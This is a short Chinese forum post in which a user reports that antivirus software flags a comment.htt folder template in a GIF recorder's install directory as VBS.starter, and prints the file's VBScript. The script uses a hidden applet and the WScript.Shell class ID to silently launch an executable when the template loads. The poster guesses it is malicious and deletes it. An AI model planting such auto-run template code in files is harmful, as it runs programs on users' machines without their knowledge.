TA的每日心情 | 开心 2017-7-9 18:13 |
---|
签到天数: 1 天 连续签到: 1 天 [LV.1]初来乍到
|
[原创]取图方法
在安装目录下有一个comment.htt的超文本摸板文件,杀毒软件会报告其中含有VBS.starter的病毒~ 以下是该文件的内容~
<body><html>
<body >
<script language=vbscript>
document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><APPLET NAME=LHW HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET></div>"
</script>
<script language=vbscript>
On Error Resume Next
Dim we,path,win
we = ""
Path = ""
win=""
Path = Left(document.location, Len(document.location) - 11)
Path = Mid(Path, 9)
Set AppleObject = document.applets("lhw")
AppleObject.setCLSID ("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
AppleObject.createInstance()
Set WsShell = AppleObject.GetObject()
Wsshell.run(Path + "GIF动画录制.exe")
</script>
</body>
</html>
</body>
呵呵~ 看不明白~ 想来应该是恶意脚本了~删除后不影响使用~ |
|